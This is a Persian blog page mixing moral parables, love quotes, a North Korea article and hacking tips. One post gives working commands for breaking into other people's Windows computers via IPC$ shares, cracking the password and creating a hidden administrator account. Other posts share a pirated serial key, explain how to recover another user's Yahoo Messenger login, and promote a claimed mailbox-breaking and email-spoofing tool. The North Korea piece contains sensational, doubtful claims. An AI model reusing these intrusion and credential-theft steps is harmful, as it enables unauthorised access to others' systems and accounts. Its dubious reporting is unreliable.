سپس پروفسور 2 فنجان قهوه از زير ميز در آورد ودر شيشه ريخت وگفت :در واقع من دارم فضاي بين ماسه ها را پر مي كنم .همه دانشجويان در حالي كه مي خنديدند پروفسور گفت:من با بيان اين مطلب مي خواستم شما را متوجه اين مطلب كنم كه:

اين شيشه نمايي از زندگي شماست توپهاي گلف مهمترين چيز در زندگي شما هستند:خدا،خانواده،فرزند،سلامتي� �دوستانتان
ومهمترين علايقتان-چيزهايي كه اگر همه چيزهاي ديگر از بين بروند، آن ها و باز زندگيتان پا بر جا خواهد بود.

سنگريزه ها ساير چيزهاي با اهميت هستند:كارتان ،ماشينتان ،خانه تان.

ماسه ها هم مسائل بسيار ساده هستند.

سپس پروفسور ادامه داد:اگر از اول ماسه ها را در ظرف قرار ميدادم ديگر جايي براي سنگريزه ها وتوپ هاي گلف باقي نمي ماند،درست عين زندگييتان.

اگر شما تمام وقت وانرژيتان را صرف مسائل ساده وبي اهميت نماييد،ديگر جايي و زماني براي مسائل كه برايتان اهميت دارد باقي نمي ماند.

به چيز هايي كه براي شاد بودنتان اهميت دارد توجه كنيد،با فرزندانتان بازي كنيد،زماني براي سلامتي خود بگذاريد،با دوستان واطرافيان خود بيرون برويد وبا آنها خوش باشيد.

هميشه زمان براي تميز كردن خانه وتعمير خرابي ها هست.هميشه در دسترس باشيد.اول مواظب توپ هاي گلف باشيد،چيزهايي كه واقعا" برايتان اهميت دارد.

يكي از دانشجويان گفت:پس آن دوفنجان قهوه چه بود؟پروفسور با خنده گفت:با اين نشان دادم كه مهم نيست كه زندگي چه مقدار شلوغ وپر مشغله است،هميشه در آن جايي براي دوفنجان قهوه براي صرف با يك دوست هست.

پند:

سعي كنيم ليوان زندگي را اول با چيز هاي بزرگ پر كنيم بعد سنگريزه ها را بريزيم وگرنه بعد از سنگريزه ها جايي براي سنگ هاي بزرگ نخواهيم داشت.
 


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 11:25 :: به قلم : مهدی احمدیان

روايت شده در قوم بني اسرائيل، مردي بود كه ميگفت:من در همه عمر خدا را نا فرماني كرده ام گناه ومعصيت زيادي از من سر زده است، اما تا كنون زيان وكيفري نديده ام.اگر گناه جزا دارد وگناهكار بايد كيفر ببيند پس چرا كيفر وعذابي تاكنون به من نرسيده است.؟
در همان روز پيامبر قوم بني اسرائيل نزد آن مرد آمد وگفت:
خداوند مي فرمايد ما تو را عذاب هاي بسيار كرده ايم تو خود نمي داني!آيا تو را از شيريني عبادت خود محروم نكرده ايم؟آيا در مناجات را بر روي تو نبسته ايم؟آيا اميد به زندگي خوش در آخرت را از تو نگرفته ايم؟عذابي بزرگتر وسهمگين تر از اين مي خواهي؟

پند:
بسياري از اتفاقات است كه به چشم ديده نمي شودحتي عذاب خداوند، پس در رفتار خود كمي دقت كنيم تا مستوجب عذاب پروردگار نشويم.
آيا تا به حال به اين فكر كرده ايم زيبا ترين آرامش در زندگي چيست؟وآيا تا به حال فكر كرده ايم چه چيز باعث آرامش خيال مي شود؟
جواب بسيار ساده است:عبادت تنها راه آرامش وآسودگي هميشگي براي انسان را در پيش خواهد داشت پس سخت ترين عذاب براي يك مخلوق اين است كه توانايي دسترسي ودرخواست وتماس با خالق خود را نداشته باشد.


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 11:24 :: به قلم : مهدی احمدیان

روزي مرد كوري در كنار خيابان نشسته بود وكلاه وتابلويي در كنار پايش قرار داده بود .روي تابلو خوانده مي شد: من كور هستم به من كمك كنيد .
يك روزنامه نگارخلاقي از آن جا رد مي شد ديددر كلاه چند سكه بيشتر نيست تابلو را برگر داند وروي آن چيز ديگري نوشت ورفت .عصر آن روز روزنامه نگار برگشت ومتوجه شد كه كلاه مرد كور پر از سكه واسكناس است.مرد كور از صداي پاي خبرنگار او را شناخت. واز او پرسيد چه روي تابلو نوشته است روزنامه نگار گفت كه چيز مهمي نبوده است.اما او روي تابلوي او نوشته بود: امروز بهار است ولي من نمي توانم آن را ببينم!!!!!

پند:

وقتي نمي توانيد كارتان را پيش ببريد شيوه خود را تغيير دهيد خواهيد ديد بهترين ها ممكن خواهد شد،باور داشته باشيد هر تغيير ،بهترين چيز براي زندگي است.
حتي براي كوچكترين اعمالتان از دل،فكر،هوش وروحتان مايه بگذاريد اين رمز موفقيت است............


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 11:23 :: به قلم : مهدی احمدیان

آنا تعريف مي كرد پسر كوچكش با كنجكاوي كسي كه واژه جديدي ميشنود پرسيد مامان پيري يعني جه؟
آنا قبل از پاسخ كم تراز يك ثانيه به گذشته سفر كردولحظات مبارزه، دشواري ها ونا اميدي هاي خودش را به ياد آورد وتمام بار پيري ومسئوليت را بر شانه هايش احساس كرد. چشمهايش را به سوي پسر برگرداند كه خندان، منتظر پاسخ بود.آنا گفت:پسرم به صورت من نگاه كن.اين پيري است.وپسر چروك هاي آن واندوه آن چشم ها را تماشا كرد.چه باعث شد پسرك تعجب نكند وپس از چند لحظه پاسخ بدهد:مامان پيري چقدر قشنگ است؟

پند:

گذراندن زندگي باعث فرتوت شدن انسان وخميدگي او مي شود به نظر شما اين خميدگي به سبب چيست؟
علت آن كوله بار تجربه اي است كه انسان به دوش مي كشد،وبا خود در مسير سخت زندگي به همراه دارد.پس اين خميدگي،زياد هم ناهنجار نخواهد بود چون براي هر لحظه سخت زندگي،تجربه اي داخل كوله بار خود داريم، تا براي ما راهگشا باشد.


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 11:20 :: به قلم : مهدی احمدیان

کوتاه ترین داستان ترسناک دنیا که نویسنده اش مشخص نیست.


آخرین انسان زمین تنها در اتاقش 
نشسته بود که ناگهان در زدند!

 

 


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 10:40 :: به قلم : مهدی احمدیان

مراحل زیر را برای اجرای برنامه regedit طی کنید:

 

Start menu > Run > (typr) regiedit > OK

 

وارد شاخه های زیر از طریق لیست شاخه ها در سمت چپ regedit شوید:

 

HKEY_CURRENT_USER > Software > Yahoo > Pager

 

در منو سمت راست روی کلید Save Password دوبار کلیک کرده و عدد 1 یا 100 یا 10 را در قسمت Value Data وارد کنید

 

و روی Ok کلیک کنید. F5 را بزنید و بهتر است کامپیوتر را ریست کنید بعد از آن وقتی در یاهو مسنجر وارد می شوید

 

نام کاربری ورمز آخرین فردی که لوگین کرده را می بینید که می توانیید با آنها لوگین کنید.

 

( این ترفند احتمالا با یاهو مسنجر جدید 24 September کار نمی کند! )

 

آی دی های کسانی که تا به حال از یاهو مسنجر استفاده کرده اند:

 

دوباره برنامه regedit را اجرا کنید و وارد شاحه های زیر شوید:

 

HKEY_CURRENT_USER > Software > Yahoo > Pager > Aim > UserSetting

 

در آخر زیر شاخه های شاخه UserSetting را باز کنید که در آی دی های لوگین کرده توسط مسنجرتان را می بینید

 

منبع:alihacker.blogfa.com

 


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 1:8 :: به قلم : مهدی احمدیان

وقتی که ما به اینترنت وصل نیستیم چگونه آی دی خود را روشن نگه داریم؟

با یاهو مسنجر آنلاین شوید سپس بعد از آنلاین شدن به قسمت Messenger  بروید و Preferences را انتخاب کنید سپس به قسمت Connection رفته و در جدول باز شده No Proxies را به Firewall With No Proxies تغییر دهید و سپس OK را کلیک کنید بعد از مسنجر خارج شده و دوباره وارد شوید با این کار همیشه آی دی شما روشن خواهد ماند.

منبع:4m1n.blogfa.com

 

 


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 1:6 :: به قلم : مهدی احمدیان

یکی از مشکلات بزرگ ویندوز که در Service pack های ویندوز هم وجود داره IPC هست

حالا ما با استفاده از این روش کارمون را شروع میکنیم .

یکی از نرم افزار های مورد نیاز GFI:LANguard Security Scaner هست که بخاطر قدرت و کارایی این برنامه را پیشنهاد میکنم که فقط باید یکسری

تغییرات رو روی آن انجام بدین این برنامه را از سایت زیر داونلود کنید

http://www.kyzj.com/

Serial:6J7FF-OL03J-9OHQB-1Q0XZ-F7PLZKH5TY-K1GSN-7BT5F-78A0B-CSKYU

البته ورژن 3.3 هم هست ولی من ورژن 3.2 را پیشنهاد میکنم که در سایت بالا ورژن 3.2 وجود دارد و سریال بالا نیز مربوط به همین ورژن هست

حالا باید یکسری تغییرات در این برنامه بدیم .

1.
option را انتخاب کنید و به قسمت Scanning بروید و این شاخه را انتخاب کنید Configure ports و حالا در قسمت

Port number/range:1025

port desciription:network blackjacket

و حالا ADD PORT را بزنید .

در قسمت New scan باید یک Range ای پی رو اسکن کنید تا یک ای پی با مشخصات زیر پیدا شود

پرت های باز 1025,139 را داشته باشد .

IPC share نیز داشته باشد

حالا باید به این ای پی به صورت زیر کانکت شوید :

1.
در قسمت Run این جمله را وارد کنید CMD

2.
دستور زیر را وارد کنید :

Net use IpadressIPC$""/user:Administrator

اگر دستور زیر را دریافت کردین

Successfully The Command was completed

از ای پی مورد نظر Share گرفتین و در اختیار شماست اما در غیر اینصورت Share دارای پسوورد میباشد که من برای هک کردن پسسوورد از این برنامه استقاده میکنم :



PQWAK

که این برنامه رو از سایت Download.com دریافت کنید .

بعد از کرک از پسوورد بدست آمده اینگونه استفاده کنید

Net use ipadressIPC$ "password"/user:administrator

در صورتیکه میخواهید با Telnet کانکت شوید مراحل زیر را طی کنید .

در قسمت RUN تایپ کنید Regedit

به این آدرس بروید HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet NTLMàServer--1.0

حالا Value date این فایل رو به این جمله تغییر دهید : 1à2

در قسمت بعدی به RUN بروید و این دستور را تایپ کنید TELNET

دستور زیر را وارد کنید Telnet ipadress

در ادامه اگر از شما یوزر و پسوورد خواست یوزر را Administrator و پسسورد را خالی بگذارید

حالا احتیاج به ساختن یک یوزر برای خود دارید . این دستور را در ادامه وارد کنید :

Net user username password/add

حالا برای قرار دادن یوزر خود در گروه ادمین ها این دستور را وارد کنید

Net groups Administrators username/add

تمام شد شما به هدف خود رسیده اید اما من برای تازه کارها روش اول را پیشنهاد میکنم

ولی دوستان دیگر میتوانند از Telnet استفاده کنند

نکته : من هیچ مسئولیتی در مورد تغییر رجیستری نمیپذیرم اگر شما قادر به Edit رجیستری نیستید بهتره از آن یه Backup تهیه کنید یا

در نهایت از روش اول استفاده کنید .


ارسال شده در تاریخ : سه شنبه 1 اسفند 1390برچسب:, :: 23:59 :: به قلم : مهدی احمدیان

برای ورود به چت با آی دی بزرگ باید از یکی از برنامه های جانبی مانند جاوا ، چیتا چت و یاهو الایت که به چت یاهو متصل می شوند استفاده کنید.
هنگاه Login کردن با این برنامه ها نام خود را به هر صورتی که وارد کنید به همان صورت در چت ظاهری شود.
در اینجا ما به آموزش یکی ازین برنامه ها می پردازیم:
پس از دریافت برنامه جاوا جهت استفاده از آن ابتدا بر روی دکمه
Setting کلیک کنید:
در قسمت
Start At نام اتاق چتی که می خواهید آی دی خود را وارد آن کنید بنویسید و مجددا به منوی Main بر گردید.
آی دی خود را به صورت بزرگ وارد کنید، پسورد را بنویسید و بر روی
Make Java کلیک کنید.
برنامه یک فایل
Html درون فولدری که آن را نصب کرده اید و با اسم آی دی شما درست می کند.
فقط کافیست فایل را اجرا کنید و وارد چت شوید.


ارسال شده در تاریخ : دو شنبه 1 اسفند 1390برچسب:, :: 23:57 :: به قلم : مهدی احمدیان

هک کردن ایمیل در 2 دقیقه با جدیدترین برنامه 2006

جدیدترین نرم افزار هک رو که نامش crakmailer هست رو که کارایهای بسیار جالبی داره رو براتون معرفی میکنم
این برنامه میتونه بدون در دست داشتن پسورد ایمیل وارد هر میل باکسی بشه و همچنین خاصیت فرستادن یک ایمیل به هزاران نفر و با هر آدرس دلخواهی رو داره این برنامه در نوع خودش فوقالعاده است باید بگم که نویسنده این برنامه خودم هستم که بعد از یک سال زحمت و هزینه تونستم این برنامه رو بنویسم البته کار کردن با آن مشکل نیست ولی باید اطلاعات کامل رو در مورد کار کردن با این برنامه رو داشته باشید
برای درخواست و مشاهده این برنامه میتوانید به آدرس زیر مراجعه کنید
هر کس هم که در مورد این برنامه شک داره میتونه برام پیغام بزاره تا بهش نشون بدم البته با هک کردن میل باکس من بازم میگم این برنامه پسورد ایمیل رو نمیتونه واستون در بیاره فقط میتونه از طریق کدهای میلباکس که با پورتی که هر لحضه در حال تعغیر است بعد از تغریبا 2 دقیقه وارد میل باکس طرف بشه من روی یاهو و جیمیل امتحان کردم جواب داده همچنین از طریق پورت 25 واز طریق
smtp server که شما باید آن را در حالت اتوماتیک قرار بدبد به هر آدرسی ایمیل جعلی میفرسته اما مسئولیتش با خودتون و من به عنوان نویسنده این برنامه هیچ مسئولیتی رو قبول نمیکنم
برای درخواست و مشاهده این برنامه میتوانید به آدرس زیر مراجعه کنید

 


ارسال شده در تاریخ : دو شنبه 1 اسفند 1390برچسب:, :: 19:40 :: به قلم : مهدی احمدیان

سایت گروه مجلات همشهری: بین کشورهای جهان، کره‌شمالی یکی از سرزمین‌های پر رمز و راز به حساب می‌آید؛

شاید به همین خاطر است که خیلی‌‌ها با شیندن معدود اخبار رسیده از این کشور، از قوانین عجیب حاکم بر آن اظهار تعجب می‌کنند. درهرحال ارتباط محدود کره‌شمالی با دیگر کشورهای جهان و در نتیجه منزوی بودن مردم آن، این کشور را  برای بسیاری از مردم دنیا به سرزمینی اسرارآمیز با هزاران حقیقت پنهان تبدیل کرده است. فرار بازیکنان تیم فوتبال کره شمالی در جام جهانی، بار دیگر بازار شایعات درباره این کشور را داغ کرده و حالا همه می‌خواهند بدانند در کره اعجاب انگیز چه  می‌گذرد.

همشهری سرنخ در شماره 56 خود در گزارش مفصل به بررسی شرایط زندگی در کره شمالی پرداخته است.

بخش‌هایی از این گزارش در ادامه می‌آید: با وجود اینکه طبیعت کره‌شمالی بسیار زیبا و دل‌انگیز است و تنوع آب و هوایی شگفت‌انگیزی دارد اما مردم این کشور در هر نقطه از این سرزمین که روزگار می‌گذرانند باید تا آخر عمر همان‌جا بمانند و حق خروج از منطقه محل سکونت خود را ندارند و اگر زمانی هوای سفر به سرشان بزند یا بخواهند برای کاری از روستا یا شهر خود خارج شوند، حتما باید اجازه حکومتی داشته باشند، در غیر این صورت قانون را شکسته‌اند و مجازات خواهند شد.

قوانین حاکم بر کره‌شمالی تمامی جوانب زندگی مردم را تحت کنترل قرارداده و بر تمامی بخش‌های زندگی‌شان به نوعی تاثیر گذاشته است. تقریبا 50 سال است که مردم کره‌شمالی صبح‌‌ها با نواختن صدای شیپوری که راس ساعت شش به صدا درمی‌آید و از طریق بلندگو در تمام مناطق پخش می‌شود از خواب بیدار می‌شوند. آنها موظف هستند پیش از شروع کار روزانه، در مقابل مجسمه کیم ایل جونگ و پدر او ادای احترام کرده و سر تعظیم فرود آورند. همه مردم کره‌شمالی موظف هستند با لباس‌های رسمی خاص از منزل خارج شوند یا علامت مخصوصی روی لباس داشته باشند تا وزارت اطلاعات و امنیت این کشور از اینکه چه افرادی در حال عبور و مرور هستند، آگاهی کامل داشته باشد؛ البته کار به همین‌جا ختم نمی‌شود و آنها باید پس از رسیدن به محل کار ده دقیقه‌ای را هم باید وقت بگذارند و به سخنرانی‌های مافوق خود گوش دهند و پس از آن  پنج دقیقه علیه دشمنانشان شعار بدهند. پس از انجام تمامی این کارها تازه نوبت آغاز فعالیت روزانه می‌شود و آنها می‌توانند کار خود را شروع کنند.

در پیونگ یانگ، پایتخت کره‌شمالی، هر دو ساعت یک‌بار از بلندگوهایی که صدای بسیار قوی‌ای دارند در گوشه‌گوشه شهر مارش نظامی پخش می‌شود تا قدرت ژنرال‌های این کشور به رخ همه کشیده شود. آنها بنا بر عادتی دیرینه کیم جونگ ایل، رهبر کشور خود را ژنرال صدا می‌زنند؛ البته دادن چنین لقبی به او چندان هم بیراه نیست چراکه  خدمت سربازی اجباری در این کشور گاهی به ده سال هم می‌رسد.

مردم این کشور برای رفتن به محل کار خود حق استفاده از خودرو را ندارند و معمولا با دوچرخه رفت‌و‌آمد می‌کنند. استفاده از خودرو تنها مختص به بالا رتبه‌های نظامی این کشور است. پس از پایان کار و فعالیت روزانه، شب‌‌ها ساعت نه در سراسر کره‌شمالی خاموشی زده می‌شود و به این ترتیب مردم خود را برای یک روز کاری دیگر آماده می‌کنند. نکته عجیب دیگر این است که در کره‌شمالی هیچ خانواده‌ای حق خواب دیدن ندارد و اگر پدر و مادری صبح از خواب بیدار بشوند و خوابی را که شب قبل دیده‌اند تعریف کنند، فرزند آنها موظف است تا علاوه بر خوابی که والدینش دیده‌اند خواب خود را هم به نماینده وزارت اطلاعات و امنیت کشور که در کلاس‌شان حضور دارد، گزارش دهد.

در کره‌شمالی هیچ رسانه خصوصی دیده نمی‌شود و 12 روزنامه و 20 نشریه موجود در این کشور کاملا تحت نظر دولت هستند و بی‌آنکه خبرنگاری وظیفه تهیه گزارش‌‌ها را برعهده داشته باشد، مطالب آنها را خبرهایی تشکیل می‌دهد که هر روز از وزارت اطلاعات و امنیت دریافت و دقیقا همان اطلاعات بدون کوچک‌ترین تغییری منتشر می‌شود؛ در تمام رسانه‌های کره‌شمالی، انتشار هرگونه خبر ناخوشایند در مورد کره‌شمالی در همه زمینه‌‌ها از سیاسی و اجتماعی گرفته تا اقتصادی و فرهنگی به شدت ممنوع است.
 
با توجه به اینکه دولت مسؤول آذوقه‌رسانی و تهیه مواد لازم به صورت کوپنی در کره‌شمالی است، درآمد ماهانه مردم بسیار ناچیز است؛ در بیشتر موارد هم نه کمک‌های دولت و نه درآمد مردم کفاف مایحتاج و نیازهای اولیه آنها را نمی‌دهد و فقر و قحطی بر بسیاری از خانواده‌های این کشور حاکم شده و سالانه چندین هزار نفر از آنها به دلیل گرسنگی جان می‌دهند.

دولت کره‌شمالی با وجود نیازهای شدیدی که به کمک‌های غذایی دیگر کشورها دارد اما به خاطر اینکه معتقد است این غذاها روی طرز فکر مردم اثرات سوء دارد و برای اینکه از آلودگی فرهنگی که نتیجه مصرف این غذاهاست در امان بماند، از پذیرفتن آن سر باز می‌زند. شدت قحطی و گرسنگی در این کشور به حدی‌ است که سازمان تغذیه جهانی وابسته به سازمان ملل در این‌باره به شدت هشدار داده است.


مسؤولان این کشور نه‌تنها از پذیرفتن هرگونه کمک امتناع می‌کنند بلکه ورود هرگونه خبرنگار و عکاس را هم به کره‌شمالی ممنوع کرده‌اند؛ البته نه‌تنها ورود اصحاب رسانه به این کشور ممنوع است بلکه خروج شهروندان کره‌ای هم از کشورشان به شدت کنترل می‌شود و اگر شخصی بخواهد به دنیای بیرون از کره قدم بگذارد به عنوان عامل دشمن دستگیر می‌شود؛ این قانون آنقدر سختگیرانه در این کشور به اجرا درمی‌آید که اگر فردی حتی از طریق تلفن با خارج از کشور تماس برقرار کند، ممکن است سرنوشتی جز مرگ و تیرباران در انتظارش نباشد؛ به عنوان مثال در ماه مارس امسال یک شهروند کره‌شمالی که در یکی از شرکت‌های نظامی کره‌شمالی مشغول به کار بود با تلفن همراه خود با یکی از دوستانش که در سال 2001 به سئول پایتخت کره‌جنوبی گریخته بود، تماس گرفت و در مورد قیمت برنج و شرایط زندگی در کره‌شمالی با او صحبت کرد؛ این کار او از طرف دولت تخطی از قوانین تلقی شد و در نتیجه حکمی جز اعدام برای او صادر نشد.

این درحالی است که مدتی بعد خبرگزاری یون‌‌هاپ، مرگ فرد خاطی به نام جونگ را تایید کرد و گفت این شهروند اولین فرد در کره‌شمالی است که به دلیل تماس با خارج از کشور اعدام شده، اما جزئیات بیشتری از این ماجرا منتشر نکرد.


در کره‌شمالی فقط یک شرکت مخابراتی تلفن همراه که منطقه پایتخت، پیونگ یانگ، را پوشش می‌دهد مشغول به فعالیت است. مشترکان این شرکت مخابراتی حق استفاده از خدمات این شرکت برای تماس با خارج را ندارند. در نتیجه بسیاری از شهروندان کره‌شمالی برای تماس با بستگان و اقوام خود که در خارج از این کشور زندگی می‌کنند از تلفن‌های همراهی که به طور غیرقانونی از چین به کره‌شمالی وارد شده‌اند، استفاده می‌کنند.

قوانین سخت ازدواج

اگر پسر و دختری در کره‌شمالی قصد ازدواج با یکدیگر را داشته باشند، رضایت خانواده آنها هیچ نقشی در این ازدواج ندارد بلکه این وزارت اطلاعات و امنیت این کشور است که صلاحیت ازدواج این دو نفر را صادر می‌کند. به این ترتیب که هم پسر و هم دختر باید یک گزارش کامل از نحوه آشنایی، میزان  علاقه، علت آشنایی و ... را به وزارت امنیت ارائه بدهند. پس از این مرحله و بررسی‌های لازم و شناسایی تمامی اقوام دختر و پسر برای آنها قرار مصاحبه صادر می‌شود و پس از حضور دختر و پسر و پاسخ دادن به سوال‌های خاص اگر مورد مشکوکی دیده نشود، اجازه ازدواج آنها صادر می‌شود.

با تمام این تفاسیر مردم کره‌شمالی از زندگی خود ناراضی نیستند و معتقدند خوشبخت‌ترین انسان‌های روی زمین هستند!!!!!!!!!!!!!!!!!!!!...


ارسال شده در تاریخ : دو شنبه 1 اسفند 1390برچسب:, :: 19:25 :: به قلم : مهدی احمدیان

توی زندگیت هرگز اخم نکن، چون ممکنه یه نفر فقط به لبخند تو زنده باشه



دیشب دفترچه قسطامو ورق می زدم، تمومى نداره... تا آخر عمر بدهکار مهربونیاتم!

 

 

 

سلام. هوا داره سرد می شه...

 

مواظب باش كسی ازسردی هوا به گرمی قلبت پناه نبره.

 

 

 

یه روز سرد وقتی دنبال جایی برای قایم شدن می گشتم نتوانستم جایی گرمتر از قلبت پیدا کنم... فراموشم نکن بیرون خیلی سرده.

 

 

 


 

یه نصیحت: مواظب خودت باش.

 

یه خواهش:هیچ وقت عوض نشو.

 

یه آرزو: فراموشم نکن.

 

یه دروغ: دیگه دوستت ندارم.

 

یه حقیقت: دلم برات تنگ شد.

 

 

 

انواع چیپس چیتوز:

 

1- ساده مثل دلت

 

2- نمکی مثل اشکات

 

3- سرکه ای مثل حرفات

 

4- فلفلی مثل چشمات

 

5- گوجه ای مثل لبهات



سلامی به گرمی آش رشته، كه روش با پیازداغ نوشته:

 

"دوست دارم فرشته"

 

 

 

جملات زیبا

 

وفا را از ماهی بیاموز که وقتی از آب جداست می میرد، نه از زنبور که وقتی از گلی خسته می شود سراغ گلی دیگر می رود.

 

 

 

ازدلم پرسیدم عشق راخلاصه کن، گفت: آغازکسى باش که پایان توباشد.

 

 

 

بازی روزگار را نمی فهمم، من تورا دوست دارم، تو دیگرى را، دیگرى مرا، و همه ما تنهاییم.

 

 

 

غربت را نباید درالفبای شهرغریب جستجو کرد. همین که عزیزت نگاهش را به طرف دیگری کرد، تو غریبی.

 

 

 

خدا زمین را مدور آفرید تا به انسان بگوید همان لحظه ای که تصور می کنی به آخر دنیا رسیده ای درست در نقطه آغاز هستی.



انتظار سخت است، فراموش کردن هم سخت است. اما اینکه ندانی باید انتظار بکشی یا فراموش کنی از همه سخت تر است.

 

فاصله بین داشتن و نداشتن صرف فعل خواستن است.

 

اگه کسی برات می میره، اون قدر مرام داشته باش که یه شاخه گل سرخ ببری سر مزارش.

 

 


ارسال شده در تاریخ : دو شنبه 1 اسفند 1390برچسب:, :: 1:0 :: به قلم : مهدی احمدیان

تصویر وبلاگ
کپی کنید و در وبلاکهاتون قرار بدین و منبع را ذکر کنید.
موضوعات جالب
آخرین مطالب
نويسنده
لینکدونی

javahermarket